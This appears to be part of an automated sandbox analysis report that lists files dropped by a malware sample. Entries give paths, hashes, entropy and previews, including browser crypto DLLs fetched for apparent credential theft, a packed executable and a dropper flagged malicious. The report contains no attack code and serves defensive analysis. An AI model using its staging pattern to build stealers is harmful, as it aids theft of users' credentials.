Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.q.g.5.o.J.o.4.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.9.j.f.M.E.e.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8994482270887274
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xXJxl9Il8ukijGhETiwbohZSltDCTeaiOrt+Nd/vc:aN9YuiyEk/WGeROhB
MD5:	B8D65E2EFB97FCABE5C6ECB116B0ECC8
SHA1:	9724F11C5A61EA5452AB87EB312961AB8214AA1A
SHA-256:	18B9A86FD1163595E40ADA982AB3F26B698FFC0A6AF6D035473ECCA9A9DA1470
SHA-512:	5924F1DCD0400D20ABF85145BCB46132C33302687A52947AAC1B864C2984C785C206F362BCCDF2A61D8BAC5BBFE1332EF5CBE54941751B3E110A462A294254C6
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".b.M.j.t.0.G.t.X.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.9.j.f.M.E.e.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.393940954917924
Encrypted:	false
SSDEEP:	96:6NnQ1NrKrJHQ1NrONnQLORbQLgNnQT9l9u9QT3NnQtdgEQYNnQ1OZQ1+NnQCEWDn:6NUrKrSrONBNS7l3NcBNMOO+NtEW5dNJ
MD5:	6F1863989B172A72C9A8ABC0CD6AF5BF
SHA1:	8D5A3EF53209A11F04DB9CD66A981E0627B76B75
SHA-256:	D33C7315A93E40C10DC09A513F81F7DC51C74F39134248D8DAA94927078140F7
SHA-512:	98F5AF23307F40AF4A7B7C733D6CD1DAFDD56E47650A19EFEA5E8F3A3F9B4F1DC548680BB160DFCD9B526A3010873C10351F330D286F811AC40777F45C3EFC80
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/87DB7F0F8A49ED39226FBC3E3E70725B",.. "id": "87DB7F0F8A49ED39226FBC3E3E70725B",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/87DB7F0F8A49ED39226FBC3E3E70725B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/F46B1C63B8AA539A4E57F49B12FAC0C2",.. "id": "F46B1C63B8AA539A4E57F49B12FAC0C2",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/F46B1C63B8AA539A4E57F49B12FAC0C2"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.3687956518654145
Encrypted:	false
SSDEEP:	48:SfNaoQXiGTEQX2fNaoQs0e0iQs0VfNaoQPvPvJQPvnfNaoQ3Dv10UrU0U8Q32:6NnQVTEQuNnQsR7QsONnQPvPvJQPvfNE
MD5:	79D5B171F64E13E52D3881D76EF1EDB3
SHA1:	36A23E7F877032258E98ACFEEA69551BABF46D5B
SHA-256:	011FE4B4B75691227DCFA1FF24FE50BFFDCCE8638D4600023A0F70961A0E3E23
SHA-512:	9A507D8D8C1DBD7334BF7E8A3CF9A4D249E4FCC46FE2996D9E1A929D250AF481D6D357DD075B288BA1A70EB797EF3B2A95F894286031B465F8CBAB1C8E018082
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/F4824FE6AA92AFAF6D90F2DB06CB6FE4",.. "id": "F4824FE6AA92AFAF6D90F2DB06CB6FE4",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/F4824FE6AA92AFAF6D90F2DB06CB6FE4"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/1FC7C0004C630C5F47593953ECCB5E88",.. "id": "1FC7C0004C630C5F47593953ECCB5E88",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/1FC7C0004C630C5F47593953ECCB5E88"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1879040
Entropy (8bit):	7.949013105679247
Encrypted:	false
SSDEEP:	49152:MxwW7D9kZ2LLSfZDClwZT6G+5DGwmHbD6Q:MxwWyZ2vUtClwspDGwmH36
MD5:	039A5670B4C56BD2AA19CDFBEF068186
SHA1:	A6A705FEC5D6A56BA1EE0A889ABD1C2EA49A4913
SHA-256:	894F393CD04F80A0137D239EEC7AB4A31D6C169231476F40C04BA90E45EBEE05
SHA-512:	4993C17437B8C3D85D7760FE524FBDD14A9399DB37B16F7ADC66B52AD7B5EF4A9A80E8FB2E895F9866A49650D1206FE4669A532F439641E4B469917749670C2C
Malicious:	false
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D............J...........@...........................J.....<.....@.................................\...p................................................................................................................... . .........x..................@....rsrc ............................@....idata ............................@... ..*.........................@...ztzrdlcs......0.....................@...iikwfpak......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0d003a3b-9c30-42c1-a7b4-43fd90ae5e48.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\9622410c-95ee-4e19-a871-cef9c6fdacde.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsFIDHIEBAAK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3309056
Entropy (8bit):	6.6303667376823086
Encrypted:	false
SSDEEP:	49152:eTpUvxDHDDTFy9+sPGakfnXzQkTn/jY3HmlkY:eTCvlHDDTFy9T+dXckTbM
MD5:	10282F683CC2BB574D550E549C7856A7
SHA1:	73F8D7C88D550D63F2F0425B5008AD3AD1DBBC48
SHA-256:	39260BC5681B3BE663776031C58BDEC2E16212483A6B85C1C3831C6404A68E7F
SHA-512:	CD448861A76CB1E067E821F8A871220EE8FAB2604A400331D6897281CE7DD74638970CA174B37D2BC08E3FB12A789B21F1B7F0B39086497239E33587319DD038
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@...........................2......u3...@.................................W...k.......H....................o2..............................o2..................................................... . ............................@....rsrc...H...........................@....idata ............................@...qpewlefn..+.......+.................@...ffodathm.....p2......X2.............@....taggant.0....2.."...\2.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.40725911833083
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rrx:8e2Fa116uCntc5toY6nbM
MD5:	CF3AD8D608796C4A4B96EF9388E9CBAF
SHA1:	F429CD8F0FA0AA6FF4C3FFE879E501F7C5F6483B
SHA-256:	A77B00EEB50F7660A6525EC3D1062366F46914F1DF201DE70E6993C62BA78EC9
SHA-512:	0F5EB8DDB455D673790916C05964EDE5278E9C7667D2390BB6CC684B69A96C3B1F23C6E94BA8EA18F44587F36531A6D0FD9A7DACF8B3A796742E47EFF4B60E00
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\e175c186-551f-4d9f-a256-e391d59b488a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\fcd5c926-4ba0-4890-9419-337be4b96ec0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\9622410c-95ee-4e19-a871-cef9c6fdacde.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir7056_23248753\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
